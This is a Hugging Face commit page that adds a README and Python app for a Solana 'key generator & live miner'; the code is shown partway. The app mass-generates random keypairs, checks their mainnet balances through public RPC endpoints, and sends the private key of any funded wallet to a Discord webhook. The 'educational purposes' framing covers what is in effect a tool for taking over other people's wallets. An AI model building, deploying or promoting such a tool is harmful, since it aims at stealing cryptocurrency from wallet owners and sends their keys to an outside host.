SAUSERLA commited on
Commit
d1b359f
Β·
verified Β·
1 Parent(s): e50c75e

Upload 3 files

Browse files
Files changed (3) hide show
  1. README.md +249 -11
  2. app.py +915 -0
  3. requirements.txt +15 -0
README.md CHANGED
@@ -1,13 +1,251 @@
1
- ---
2
- title: M1
3
- emoji: πŸ‘€
4
- colorFrom: pink
5
- colorTo: green
6
- sdk: gradio
7
- sdk_version: 5.44.1
8
- app_file: app.py
9
- pinned: false
10
- license: mit
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
11
  ---
12
 
13
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
1
+
2
+ # πŸ” Solana Key Generator & Live Miner
3
+
4
+ A comprehensive Solana wallet mining application that generates Ed25519 Base-58 keys and mines Solana addresses in real-time with advanced Discord notifications and multi-platform support.
5
+
6
+ ## 🌟 Complete Feature Overview
7
+
8
+ ### 🎲 Single Key Generation
9
+ - **Secure Keypair Generation**: Creates cryptographically secure Ed25519 keypairs
10
+ - **Base58 Encoding**: Private keys encoded in standard Solana Base58 format
11
+ - **Multiple Format Support**: Provides both Base58 and hexadecimal representations
12
+ - **Key Validation**: Automatic validation of generated keypairs
13
+ - **Copy-to-Clipboard**: One-click copying for all generated keys
14
+ - **Key Information Display**: Shows key length, format validation, and technical details
15
+
16
+ ### πŸ“¦ Bulk Key Generation
17
+ - **High-Volume Generation**: Generate up to 1,000 keys in a single batch
18
+ - **Progress Tracking**: Real-time progress updates for large batches
19
+ - **Error Handling**: Robust error recovery and reporting
20
+ - **Batch Export**: All keys provided in easy-to-copy format
21
+ - **Performance Optimized**: Efficient generation with CPU throttling prevention
22
+ - **Memory Management**: Optimized for large key batches without memory issues
23
+
24
+ ### πŸͺ™ Advanced Wallet Mining System
25
+
26
+ #### ⛏️ Core Mining Features
27
+ - **Real-Time Mining**: Continuous background mining with 100 wallets per batch
28
+ - **30-Minute Cycle Management**: Intelligent mining cycles (30 min active, 30 min break)
29
+ - **Multi-RPC Support**: Automatic failover between 4+ Solana RPC endpoints
30
+ - **Balance Detection**: Configurable minimum SOL threshold for "funded" wallets
31
+ - **Live Performance Metrics**: Real-time statistics and performance tracking
32
+ - **Auto-Recovery**: Automatic error recovery and RPC endpoint switching
33
+
34
+ #### πŸ“Š Comprehensive Statistics
35
+ - **Mining Performance**: Wallets per second, batch processing times
36
+ - **Success Tracking**: Total mined, funded wallets found, success rates
37
+ - **Streak Monitoring**: Current and best finding streaks
38
+ - **Uptime Tracking**: Total runtime and activity monitoring
39
+ - **RPC Performance**: Individual endpoint response time tracking
40
+ - **Error Analytics**: Comprehensive error counting and categorization
41
+
42
+ #### πŸ”„ Cycle Management
43
+ - **30-Minute Active Mining**: Intensive mining periods
44
+ - **30-Minute Break Periods**: Resource conservation and rate limit management
45
+ - **Cycle Progress Tracking**: Visual progress indicators for current cycle
46
+ - **Total Cycle Counting**: Historical cycle completion tracking
47
+ - **Automatic Transitions**: Seamless switching between mining and break modes
48
+
49
+ ### πŸ’¬ Discord Integration System
50
+
51
+ #### 🚨 Instant Notifications
52
+ - **Funded Wallet Alerts**: Immediate @everyone pings when funded wallets are discovered
53
+ - **Rich Embeds**: Detailed wallet information with private keys (spoiler tags)
54
+ - **Miner Identification**: Multi-miner support with unique IDs and names
55
+ - **Startup Notifications**: Automatic notifications when miners come online
56
+ - **Status Updates**: Regular mining status updates with comprehensive metrics
57
+
58
+ #### πŸ“ˆ Advanced Discord Features
59
+ - **Live Status Embeds**: Self-updating status messages every 60 seconds
60
+ - **Performance Metrics**: Detailed mining statistics in Discord
61
+ - **RPC Health Monitoring**: Network status and endpoint performance
62
+ - **Error Reporting**: Automatic error notifications and recovery status
63
+ - **Multi-Miner Support**: Support for multiple miners with unique identification
64
+
65
+ #### πŸ›‘οΈ Discord Reliability
66
+ - **Isolated Processing**: Discord operations never block mining operations
67
+ - **Retry Logic**: Automatic retry with exponential backoff
68
+ - **Rate Limit Handling**: Intelligent Discord API rate limit management
69
+ - **Fallback Systems**: Graceful degradation when Discord is unavailable
70
+ - **Queue Management**: Message queuing to prevent loss during outages
71
+
72
+ ### πŸ“‘ Live Feed System
73
+ - **Real-Time Updates**: Continuous feed of mining activity
74
+ - **Funded Wallet Highlighting**: Special formatting for successful finds
75
+ - **Empty Wallet Sampling**: Representative sampling of checked wallets
76
+ - **Timestamp Tracking**: Precise timing information for all activities
77
+ - **Feed Management**: Automatic cleanup and size management
78
+ - **Color Coding**: Visual distinction between funded and empty wallets
79
+
80
+ ### βš™οΈ Configuration & Customization
81
+
82
+ #### πŸ”§ Environment Variables
83
+ - `DISCORD_WEBHOOK`: Discord webhook URL for notifications
84
+ - `MIN_SOL`: Minimum SOL balance threshold (default: 0.00001)
85
+ - `RPC_BATCH_SIZE`: Wallets per RPC call (max: 100)
86
+ - `MINER_SLEEP`: Delay between mining cycles (default: 1.0s)
87
+ - `MINER_ID`: Unique miner identifier
88
+ - `MINER_NAME`: Human-readable miner name
89
+ - `MINER_LOCATION`: Geographic or logical location identifier
90
+ - `PORT`: Application port (auto-configured for platform)
91
+
92
+ #### 🌐 Multi-Platform Support
93
+ - **Replit Optimization**: Automatic port and host configuration for Replit
94
+ - **Hugging Face Spaces**: Full compatibility with HF Spaces environment
95
+ - **Local Development**: Complete local development support
96
+ - **Docker Ready**: Container deployment support
97
+ - **Cloud Platform**: AWS, Google Cloud, DigitalOcean compatibility
98
+
99
+ ### πŸš€ Performance & Reliability
100
+
101
+ #### ⚑ Performance Features
102
+ - **Batch Processing**: Efficient 100-wallet batches for optimal RPC usage
103
+ - **Connection Pooling**: Persistent RPC connections with health monitoring
104
+ - **Memory Optimization**: Efficient memory usage even during extended mining
105
+ - **CPU Throttling**: Prevents system overload during intensive operations
106
+ - **Background Processing**: Non-blocking operations for all mining activities
107
+
108
+ #### πŸ›‘οΈ Reliability Systems
109
+ - **Error Recovery**: Automatic recovery from network and RPC failures
110
+ - **Health Monitoring**: Continuous system health and performance monitoring
111
+ - **Graceful Degradation**: Continues operation even when some features fail
112
+ - **State Management**: Persistent mining state across connection issues
113
+ - **Logging System**: Comprehensive logging for debugging and monitoring
114
+
115
+ ### 🎨 User Interface
116
+
117
+ #### πŸ“± Responsive Web Interface
118
+ - **Gradio Framework**: Modern, responsive web interface
119
+ - **Mobile Friendly**: Full functionality on mobile devices and tablets
120
+ - **Real-Time Updates**: Live statistics and feed updates
121
+ - **Copy Functions**: One-click copying for all generated content
122
+ - **Color Coding**: Intuitive color schemes for different wallet states
123
+
124
+ #### πŸ–₯️ Control Features
125
+ - **Start/Stop Controls**: Easy mining control with instant response
126
+ - **Feed Management**: Clear and manage live mining feed
127
+ - **Statistics Display**: Comprehensive real-time performance metrics
128
+ - **Status Indicators**: Clear visual status of all system components
129
+
130
+ ### πŸ”’ Security & Best Practices
131
+
132
+ #### πŸ›‘οΈ Security Features
133
+ - **Secure Key Generation**: Cryptographically secure random number generation
134
+ - **Environment Variable Protection**: Secure handling of sensitive configuration
135
+ - **Input Validation**: Comprehensive validation of all user inputs
136
+ - **Error Isolation**: Isolated error handling prevents system compromise
137
+ - **Rate Limiting**: Built-in rate limiting for external API calls
138
+
139
+ #### πŸ“‹ Best Practices
140
+ - **Educational Purpose**: Clearly documented educational and research use
141
+ - **Responsible Mining**: Cycle-based mining to prevent excessive resource usage
142
+ - **Privacy Considerations**: Guidelines for handling discovered private keys
143
+ - **Network Etiquette**: Respectful use of public RPC endpoints
144
+
145
+ ### πŸ”§ Technical Specifications
146
+
147
+ #### πŸ“š Dependencies
148
+ - **Python 3.8+**: Core runtime requirement
149
+ - **Gradio 4.44.0+**: Web interface framework
150
+ - **Solana SDK**: Official Solana Python libraries
151
+ - **Solders**: High-performance Solana operations
152
+ - **Base58**: Standard Base58 encoding/decoding
153
+ - **Requests**: HTTP client for Discord and RPC operations
154
+ - **Pydantic**: Data validation and settings management
155
+
156
+ #### πŸ—οΈ Architecture
157
+ - **Multi-Threading**: Separate threads for mining, Discord, and UI
158
+ - **Queue Systems**: Thread-safe communication between components
159
+ - **State Management**: Centralized state management with thread safety
160
+ - **Modular Design**: Clear separation of concerns and functionality
161
+ - **Extensible Framework**: Easy to extend with additional features
162
+
163
+ ## πŸš€ Quick Start Guide
164
+
165
+ ### For Replit (Recommended)
166
+ 1. **Fork/Import**: Import this repository to your Replit account
167
+ 2. **Environment Setup**: Add Discord webhook in Secrets tab (optional)
168
+ 3. **Run**: Click the Run button - mining starts automatically
169
+ 4. **Monitor**: Watch real-time statistics and live feed
170
+ 5. **Control**: Use the web interface to start/stop and generate keys
171
+
172
+ ### Environment Configuration
173
+ Add these optional secrets in Replit's Secrets tab:
174
+ ```
175
+ DISCORD_WEBHOOK=your_webhook_url_here
176
+ MIN_SOL=0.00001
177
+ RPC_BATCH_SIZE=100
178
+ MINER_SLEEP=1.0
179
+ MINER_NAME=MyMiner
180
+ MINER_LOCATION=Replit
181
+ ```
182
+
183
+ ### Discord Setup
184
+ 1. Create a Discord webhook in your server
185
+ 2. Copy the webhook URL
186
+ 3. Add it to your Replit secrets as `DISCORD_WEBHOOK`
187
+ 4. Start mining and receive notifications automatically
188
+
189
+ ## πŸ“ˆ Mining Statistics Explained
190
+
191
+ - **Total Mined**: Total number of wallets generated and checked
192
+ - **Funded Found**: Number of wallets discovered with SOL balance
193
+ - **Success Rate**: Percentage of funded wallets vs total checked
194
+ - **Speed**: Current wallets per second processing rate
195
+ - **Uptime**: Total time the miner has been running
196
+ - **Cycle Info**: Current 30-minute cycle status and progress
197
+ - **RPC Performance**: Response times for different endpoints
198
+ - **Streak Tracking**: Current and best consecutive find streaks
199
+
200
+ ## 🎯 Use Cases
201
+
202
+ ### Educational & Research
203
+ - Cryptocurrency key generation education
204
+ - Blockchain probability demonstrations
205
+ - Cryptographic security research
206
+ - Academic blockchain projects
207
+
208
+ ### Development & Testing
209
+ - Solana development key generation
210
+ - Testing wallet functionalities
211
+ - Blockchain application development
212
+ - Security testing and validation
213
+
214
+ ### Mining & Discovery
215
+ - Probabilistic wallet discovery
216
+ - Network analysis and research
217
+ - Performance benchmarking
218
+ - System stress testing
219
+
220
+ ## ⚠️ Important Notes
221
+
222
+ ### Responsibility & Ethics
223
+ - This tool is for educational and research purposes
224
+ - Found private keys should be handled responsibly
225
+ - Respect network resources and rate limits
226
+ - Follow applicable laws and regulations
227
+
228
+ ### Technical Limitations
229
+ - Finding funded wallets is extremely rare (probabilistic)
230
+ - RPC endpoints may rate limit requests
231
+ - Discord notifications require webhook setup
232
+ - Performance varies based on network conditions
233
+
234
+ ### Privacy & Security
235
+ - Private keys are displayed in the interface
236
+ - Discord messages contain sensitive information
237
+ - Use private channels for Discord notifications
238
+ - Keep webhook URLs confidential
239
+
240
+ ## πŸ”— Platform Support
241
+
242
+ This application is optimized for:
243
+ - βœ… **Replit** (Recommended - Auto-configured)
244
+ - βœ… **Hugging Face Spaces** (Full compatibility)
245
+ - βœ… **Local Development** (Windows, macOS, Linux)
246
+ - βœ… **Docker Containers** (Ready for containerization)
247
+ - βœ… **Cloud Platforms** (AWS, GCP, DigitalOcean)
248
+
249
  ---
250
 
251
+ **Built with ❀️ for the Solana community | Educational purposes only**
app.py ADDED
@@ -0,0 +1,915 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ Hugging Face Space – Solana Key Generator & Miner
3
+ Simple, reliable implementation optimized for cloud deployment
4
+ """
5
+ import os
6
+ import queue
7
+ import threading
8
+ import time
9
+ import base58
10
+ import json
11
+ import requests
12
+ import collections
13
+ import hashlib
14
+ import secrets
15
+ from typing import List, Dict, Optional, Tuple
16
+ from datetime import datetime
17
+
18
+ import gradio as gr
19
+ from solana.rpc.api import Client
20
+ from solana.rpc.core import RPCException
21
+ from solders.keypair import Keypair
22
+ from solders.pubkey import Pubkey
23
+
24
+ # ---------- Safe keypair generator ----------
25
+ def _safe_keypair() -> Keypair:
26
+ """Generate a valid keypair using the standard method."""
27
+ # Use the standard Solana keypair generation
28
+ return Keypair()
29
+
30
+ # ---------- Enhanced Console Logger ----------
31
+ import logging
32
+ logging.basicConfig(level=logging.INFO, format="%(asctime)s %(message)s")
33
+ log = logging.getLogger("solana_miner")
34
+
35
+ # ---------- Enhanced Configuration with Multi-Miner Support ----------
36
+ class Config:
37
+ DISCORD_WEBHOOK = os.getenv("DISCORD_WEBHOOK", "")
38
+ MINER_ID = os.getenv("MINER_ID", f"Miner-{secrets.token_hex(4)}")
39
+ MINER_NAME = os.getenv("MINER_NAME", f"SolMiner-{secrets.token_hex(3)}")
40
+ LOCATION = os.getenv("MINER_LOCATION", "Unknown")
41
+
42
+ RPC_URLS = [
43
+ "https://api.mainnet-beta.solana.com",
44
+ "https://solana-api.projectserum.com",
45
+ "https://rpc.ankr.com/solana",
46
+ "https://solana.public-rpc.com"
47
+ ]
48
+ current_rpc_index = 0
49
+ MIN_SOL = float(os.getenv("MIN_SOL", "0.00001"))
50
+ RPC_BATCH_SIZE = int(os.getenv("RPC_BATCH_SIZE", "100"))
51
+ MINER_SLEEP = float(os.getenv("MINER_SLEEP", "1.0"))
52
+ MAX_RETRIES = 2
53
+ FEED_MAX_ITEMS = 50
54
+
55
+ # Discord isolation settings
56
+ DISCORD_RETRY_LIMIT = 3
57
+ DISCORD_TIMEOUT = 5
58
+ DISCORD_COOLDOWN = 300 # 5 minutes between reconnect attempts
59
+
60
+ @classmethod
61
+ def get_current_rpc(cls):
62
+ return cls.RPC_URLS[cls.current_rpc_index]
63
+
64
+ @classmethod
65
+ def rotate_rpc(cls):
66
+ cls.current_rpc_index = (cls.current_rpc_index + 1) % len(cls.RPC_URLS)
67
+ log.info(f"Switched to RPC: {cls.get_current_rpc()}")
68
+
69
+ config = Config()
70
+
71
+ # ---------- Advanced Discord Management ----------
72
+ STATUS_MESSAGE_ID = None
73
+ STATUS_EDIT_URL = None
74
+ DISCORD_DISABLED = False
75
+ DISCORD_RETRY_COUNT = 0
76
+ DISCORD_LAST_ERROR = None
77
+ DISCORD_LAST_SUCCESS = time.time()
78
+ MINER_START_TIME = datetime.now()
79
+ DISCORD_QUEUE = queue.Queue(maxsize=1000) # Isolated queue for Discord operations
80
+
81
+ # ---------- Enhanced Multi-Miner State Management ----------
82
+ class MinerState:
83
+ def __init__(self):
84
+ self.total_mined = 0
85
+ self.funded_found = 0
86
+ self.errors_count = 0
87
+ self.last_funded_time = None
88
+ self.run_flag = threading.Event()
89
+ self.upload_queue = queue.Queue()
90
+ self.lock = threading.Lock()
91
+
92
+ # Enhanced tracking
93
+ self.start_time = datetime.now()
94
+ self.last_batch_time = None
95
+ self.current_rpc = None
96
+ self.rpc_switches = 0
97
+ self.total_batches = 0
98
+ self.average_batch_time = 0.0
99
+ self.best_streak = 0
100
+ self.current_streak = 0
101
+ self.wallets_per_second = 0.0
102
+ self.connection_status = "Initializing"
103
+ self.last_activity = time.time()
104
+
105
+ # Performance metrics
106
+ self.batch_times = collections.deque(maxlen=100) # Last 100 batch times
107
+ self.rpc_performance = {} # Track RPC response times
108
+
109
+ # 30-minute cycle tracking
110
+ self.cycle_start_time = time.time()
111
+ self.cycle_active = True
112
+ self.cycle_break_start = None
113
+ self.total_cycles = 0
114
+ self.in_break_mode = False
115
+
116
+ def increment_mined(self):
117
+ with self.lock:
118
+ self.total_mined += 1
119
+
120
+ def increment_errors(self):
121
+ with self.lock:
122
+ self.errors_count += 1
123
+
124
+ def update_batch_stats(self, batch_size: int, batch_time: float, rpc_url: str):
125
+ with self.lock:
126
+ self.last_batch_time = datetime.now()
127
+ self.total_batches += 1
128
+ self.batch_times.append(batch_time)
129
+ self.current_rpc = rpc_url
130
+ self.last_activity = time.time()
131
+
132
+ # Calculate averages
133
+ if self.batch_times:
134
+ self.average_batch_time = sum(self.batch_times) / len(self.batch_times)
135
+ total_time = (datetime.now() - self.start_time).total_seconds()
136
+ if total_time > 0:
137
+ self.wallets_per_second = self.total_mined / total_time
138
+
139
+ # Track RPC performance
140
+ if rpc_url not in self.rpc_performance:
141
+ self.rpc_performance[rpc_url] = []
142
+ self.rpc_performance[rpc_url].append(batch_time)
143
+ if len(self.rpc_performance[rpc_url]) > 50:
144
+ self.rpc_performance[rpc_url].pop(0)
145
+
146
+ def increment_funded(self):
147
+ with self.lock:
148
+ self.funded_found += 1
149
+ self.last_funded_time = datetime.now()
150
+ self.current_streak += 1
151
+ if self.current_streak > self.best_streak:
152
+ self.best_streak = self.current_streak
153
+
154
+ def reset_streak(self):
155
+ with self.lock:
156
+ self.current_streak = 0
157
+
158
+ def get_comprehensive_stats(self) -> Dict:
159
+ with self.lock:
160
+ uptime = datetime.now() - self.start_time
161
+ return {
162
+ # Basic stats
163
+ 'total_mined': self.total_mined,
164
+ 'funded_found': self.funded_found,
165
+ 'errors_count': self.errors_count,
166
+ 'last_funded': self.last_funded_time,
167
+ 'queue_size': self.upload_queue.qsize(),
168
+ 'is_running': self.run_flag.is_set(),
169
+
170
+ # Enhanced stats
171
+ 'miner_id': config.MINER_ID,
172
+ 'miner_name': config.MINER_NAME,
173
+ 'location': config.LOCATION,
174
+ 'start_time': self.start_time,
175
+ 'uptime_seconds': uptime.total_seconds(),
176
+ 'uptime_str': str(uptime).split('.')[0],
177
+ 'current_rpc': self.current_rpc or "None",
178
+ 'rpc_switches': self.rpc_switches,
179
+ 'total_batches': self.total_batches,
180
+ 'average_batch_time': round(self.average_batch_time, 2),
181
+ 'wallets_per_second': round(self.wallets_per_second, 2),
182
+ 'best_streak': self.best_streak,
183
+ 'current_streak': self.current_streak,
184
+ 'connection_status': self.connection_status,
185
+ 'last_activity': self.last_activity,
186
+
187
+ # 30-minute cycle info
188
+ 'cycle_active': self.cycle_active,
189
+ 'in_break_mode': self.in_break_mode,
190
+ 'total_cycles': self.total_cycles,
191
+ 'cycle_time_remaining': self.get_cycle_time_remaining(),
192
+
193
+ # Performance metrics
194
+ 'batch_times_count': len(self.batch_times),
195
+ 'rpc_performance': {rpc: round(sum(times)/len(times), 2)
196
+ for rpc, times in self.rpc_performance.items() if times}
197
+ }
198
+
199
+ def get_cycle_time_remaining(self) -> Dict:
200
+ """Calculate remaining time in current cycle (30 min active / 30 min break)"""
201
+ current_time = time.time()
202
+ cycle_duration = 30 * 60 # 30 minutes in seconds
203
+
204
+ if self.in_break_mode:
205
+ # In break mode
206
+ if self.cycle_break_start:
207
+ elapsed_break = current_time - self.cycle_break_start
208
+ remaining_break = max(0, cycle_duration - elapsed_break)
209
+ return {
210
+ 'mode': 'break',
211
+ 'remaining_seconds': int(remaining_break),
212
+ 'remaining_minutes': int(remaining_break / 60),
213
+ 'progress_percent': min(100, (elapsed_break / cycle_duration) * 100)
214
+ }
215
+ else:
216
+ # In mining mode
217
+ elapsed_mining = current_time - self.cycle_start_time
218
+ remaining_mining = max(0, cycle_duration - elapsed_mining)
219
+ return {
220
+ 'mode': 'mining',
221
+ 'remaining_seconds': int(remaining_mining),
222
+ 'remaining_minutes': int(remaining_mining / 60),
223
+ 'progress_percent': min(100, (elapsed_mining / cycle_duration) * 100)
224
+ }
225
+
226
+ return {'mode': 'unknown', 'remaining_seconds': 0, 'remaining_minutes': 0, 'progress_percent': 0}
227
+
228
+ def check_cycle_status(self) -> bool:
229
+ """Check if we should switch between mining and break mode. Returns True if should continue mining."""
230
+ current_time = time.time()
231
+ cycle_duration = 30 * 60 # 30 minutes
232
+
233
+ if self.in_break_mode:
234
+ # Currently in break, check if break time is over
235
+ if self.cycle_break_start and (current_time - self.cycle_break_start) >= cycle_duration:
236
+ # Break is over, switch to mining
237
+ self.in_break_mode = False
238
+ self.cycle_active = True
239
+ self.cycle_start_time = current_time
240
+ self.cycle_break_start = None
241
+ log.info("🟒 30-minute break completed, resuming mining...")
242
+ return True
243
+ return False # Still in break
244
+ else:
245
+ # Currently mining, check if mining time is over
246
+ if (current_time - self.cycle_start_time) >= cycle_duration:
247
+ # Mining period is over, switch to break
248
+ self.in_break_mode = True
249
+ self.cycle_active = False
250
+ self.cycle_break_start = current_time
251
+ self.total_cycles += 1
252
+ log.info(f"πŸ”΄ 30-minute mining cycle #{self.total_cycles} completed, starting 30-minute break...")
253
+ return False
254
+ return True # Continue mining
255
+
256
+ def get_stats(self) -> Dict:
257
+ # Maintain backward compatibility
258
+ return self.get_comprehensive_stats()
259
+
260
+ miner_state = MinerState()
261
+
262
+ # ---------- Live Feed ----------
263
+ class LiveFeed:
264
+ def __init__(self, max_items: int = 100):
265
+ self.feed = collections.deque(maxlen=max_items)
266
+ self.lock = threading.Lock()
267
+
268
+ def add_entry(self, secret: str, sol: float, address: str = ""):
269
+ with self.lock:
270
+ timestamp = datetime.now().strftime('%H:%M:%S')
271
+ if sol >= config.MIN_SOL:
272
+ entry = f"🟒 **FUNDED** {sol:.6f} SOL | `{secret[:20]}...` | {address[:20]}... | {timestamp}"
273
+ log.info(f"πŸ’° FUNDED WALLET: {sol:.6f} SOL")
274
+ else:
275
+ entry = f"πŸ”΄ Empty | `{secret[:20]}...` | {timestamp}"
276
+ self.feed.append(entry)
277
+
278
+ def get_feed(self) -> str:
279
+ with self.lock:
280
+ return "\n".join(self.feed)
281
+
282
+ def clear_feed(self):
283
+ with self.lock:
284
+ self.feed.clear()
285
+
286
+ live_feed = LiveFeed(config.FEED_MAX_ITEMS)
287
+
288
+ # ---------- Key Generation ----------
289
+ BASE58_ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
290
+
291
+ def generate_secure_keypair() -> Tuple[str, str, Keypair]:
292
+ """Generate a secure keypair with Base58 encoding"""
293
+ try:
294
+ keypair = _safe_keypair()
295
+ seed = bytes(keypair)[:32]
296
+ private_key_b58 = base58.b58encode(seed).decode('utf-8')
297
+ public_key = str(keypair.pubkey())
298
+ return private_key_b58, public_key, keypair
299
+ except Exception as e:
300
+ log.error(f"Keypair generation failed: {e}")
301
+ raise Exception(f"Failed to generate keypair: {e}")
302
+
303
+ def get_key_info(private_key: str) -> Dict:
304
+ try:
305
+ decoded = base58.b58decode(private_key)
306
+ keypair = _safe_keypair()
307
+ return {
308
+ "private_key": private_key,
309
+ "public_key": str(keypair.pubkey()),
310
+ "key_length": len(private_key),
311
+ "is_valid": True,
312
+ "private_key_hex": decoded.hex(),
313
+ "public_key_hex": bytes(keypair.pubkey()).hex(),
314
+ }
315
+ except Exception as e:
316
+ return {"private_key": private_key, "error": str(e), "is_valid": False}
317
+
318
+ # ---------- Simple Solana Client ----------
319
+ def create_solana_client() -> Client:
320
+ """Create client with simple RPC rotation"""
321
+ for attempt in range(len(config.RPC_URLS)):
322
+ rpc_url = config.get_current_rpc()
323
+ try:
324
+ client = Client(rpc_url.strip())
325
+ client.get_slot() # Test connection
326
+ log.info(f"βœ… Connected to Solana RPC: {rpc_url}")
327
+ return client
328
+ except Exception as e:
329
+ log.warning(f"❌ RPC {rpc_url} failed: {e}")
330
+ config.rotate_rpc()
331
+ time.sleep(2)
332
+
333
+ raise Exception("All RPC endpoints failed")
334
+
335
+ def get_balances_with_retry(client: Client, addresses: List[str]) -> List[float]:
336
+ """Simple balance checking with retry logic"""
337
+ chunk_size = min(50, len(addresses))
338
+
339
+ for attempt in range(config.MAX_RETRIES):
340
+ try:
341
+ all_balances = []
342
+
343
+ for i in range(0, len(addresses), chunk_size):
344
+ chunk = addresses[i:i + chunk_size]
345
+ pubkeys = [Pubkey.from_string(addr) for addr in chunk]
346
+
347
+ time.sleep(0.5) # Rate limiting
348
+ resp = client.get_multiple_accounts(pubkeys)
349
+
350
+ chunk_balances = []
351
+ for acc in resp.value:
352
+ chunk_balances.append((acc.lamports / 1e9) if acc else 0.0)
353
+ all_balances.extend(chunk_balances)
354
+
355
+ # Small delay between chunks
356
+ if i + chunk_size < len(addresses):
357
+ time.sleep(0.2)
358
+
359
+ return all_balances
360
+
361
+ except Exception as e:
362
+ log.warning(f"Balance check attempt {attempt + 1} failed: {e}")
363
+ miner_state.increment_errors()
364
+ config.rotate_rpc()
365
+ time.sleep(2)
366
+
367
+ return [0.0] * len(addresses)
368
+
369
+ # ---------- Isolated Discord Operations ----------
370
+ def queue_discord_message(message_type: str, data: dict):
371
+ """Queue Discord message for isolated processing"""
372
+ if not config.DISCORD_WEBHOOK:
373
+ return
374
+
375
+ try:
376
+ DISCORD_QUEUE.put_nowait({
377
+ 'type': message_type,
378
+ 'data': data,
379
+ 'timestamp': time.time()
380
+ })
381
+ except queue.Full:
382
+ # If queue is full, remove oldest message and add new one
383
+ try:
384
+ DISCORD_QUEUE.get_nowait()
385
+ DISCORD_QUEUE.put_nowait({
386
+ 'type': message_type,
387
+ 'data': data,
388
+ 'timestamp': time.time()
389
+ })
390
+ except:
391
+ pass # Silently fail to avoid impacting mining
392
+
393
+ def send_funded_ping(private_key: str, public_key: str, balance: float):
394
+ """Queue funded wallet notification - never blocks mining"""
395
+ stats = miner_state.get_comprehensive_stats()
396
+ queue_discord_message('funded_wallet', {
397
+ 'private_key': private_key,
398
+ 'public_key': public_key,
399
+ 'balance': balance,
400
+ 'miner_stats': stats,
401
+ 'discovery_time': datetime.now().isoformat()
402
+ })
403
+
404
+ def process_funded_wallet_message(data: dict):
405
+ """Process funded wallet Discord message"""
406
+ stats = data['miner_stats']
